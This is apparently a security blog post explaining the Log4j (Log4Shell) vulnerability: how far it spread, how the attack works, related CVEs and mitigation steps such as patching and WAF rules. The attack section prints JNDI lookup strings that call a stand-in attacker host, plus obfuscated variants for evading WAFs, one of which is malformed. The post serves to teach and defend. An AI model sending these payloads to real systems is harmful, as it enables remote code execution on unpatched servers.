Impact of Apache Log4j vulnerability
Representing a high-risk and complex scenario for businesses, Apache Log4j vulnerability (CVE-2021-44228) has impacted over 44 % of corporate networks worldwide. The widespread fallout of the log4j vulnerabilities has affected the software industry, as thousands of Java packages have been significantly impacted by the disclosure.
The Apache Log4j vulnerabilities, also known as “Log4Shell”, enable an attacker to conduct remote code execution by exploiting the JNDI lookups feature that is not secured within the login library of log4j. The attackers only require a malicious request with a formatted string to be recognized by the Log4j libraries. Using LDAP or RMI protocols, an attacker can create a combination of strings with the combination of upper and lower commands to avoid detection. Because of its wide use in the Java ecosystem, further findings have shown that 8 % of all packages from the most significant Java repository – Maven Central repository, have been directly affected, creating a critical impact on the Java package ecosystem. The significance of the vulnerability implies not only to the vulnerable libraries but also to the applications and services that use these libraries.
How would the attack look?
The supported login feature “message lookup substitution” by log4j enables attackers to use a unique string to be replaced, by a dynamic string, during a login event. As mentioned above, the lookup method JNDI mixed with the LDAP or RMI protocol could fetch the specific java class from a remote source, executing the remote code in the process. This allows the attackers to control parts of the logged string remotely, providing the ability to conduct any remote code execution on the logged-in application string.
An example of an attack could be as follows: Attacker conducts an HTTP request against the targeted system. This generates a log using the log4j2 vulnerability, leveraging the JNDI to perform a request to the attacker’s site. This then causes the exploit process to execute the payload.
An example of what the string could look like:
${jndi:ldap://attackerdomain.com}
${jndi:rmi://attackerdomain.com}
After a few days of the disclosure, the string has changed to adapt and adjust to regular WAFs to reduce the false positives and bypass initial patches. Expressing the attackers’ creativity as they added obfuscations to the request.
Further adaptation of the string:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostname}/ }
OR
${jndi:${lower:I}${lower:d}a${lower:p}${${::-j}${::-n}${::-d}$(::-i}
Further Exploitations via CVE-2021-44228
The observed attacks from the Apache Log4j vulnerabilities are mostly coin mining, remote shells, red-team activities, and mass-scanning. However, as the reports come through, Microsoft reports how Cobalt Strike is used to conduct credential theft and lateral movement within organizations and exfiltration of data from compromised infrastructures. Moreover, the Microsoft Threat Intelligence Center (MSTIC) has noted and confirmed that specific tracked groups, who act as a broker, are using the vulnerability to gain access to targeted networks—allowing these groups to sell access to the network via ransomware.
Throughout the mass scanning, MSTIC has also observed drops of reverse shell and remote access toolkits by means of Log4j2 vulnerabilities to gain access to hands-on keyboard attacks. Additionally, Microsoft reports RAT payloads such as Habits Rat, Meterpreter, and Bladabindi, expressing lateral movement within the targeted systems and credential theft within organizations. Moreover, Webtoo malware has been reported to be deployed from the vulnerability, allowing for DDoS attacks.
Related CVEs
CVE-2021-45046: Apache Log4j update to 2.15.0 was incomplete with regards to non-default configurations. Allowing attackers to take control of Thread Context Map (MDC) and input data, using Pattern Layout and Context Lookup to craft malicious input data using JNDI.
CVE-2021-4104: Allows for deserialization of untrusted data via JMSAppender within Log4j 1.2 its vulnerability. The attacker can provide Topic Binding Name and Topic Connection Factory Binding Name configuration to execute remote code execution via JMSAppender.
How to reduce Apache Log4j vulnerability risk
Organizations need to protect their privileged accounts and secure access to mitigate the Log4j vulnerability. Though the updated version of Log4j 2.16.0 and above has removed this behavior, enterprises still need to minimize this exploitation’s risk and threat level.
Here are a few steps your organization can take to safeguard its systems
Patching – Applying software updates brings forth the most up-to-date version of all software. Removing vulnerabilities or mitigating threats with updated software. The best practice is to check with your third-party vendors or IT personnel responsible for patching and bring this to their attention.
Firewall – apply web application firewall rules to mitigate threats and increase your security policy with comprehensive rules.
Safeguard privileged accounts and their credentials – Apply access restrictions within your environment and security credentials to mitigate and minimize the risks posed by the Log4j vulnerability.
Apply access rights – Best practice is to implement privileged access rights to protect your critical resources and reduce the risk of potential user accounts that can be exploited.
Apply MFA – Use multi-factor authentication to give you an extra edge against attackers and limit their access capabilities.
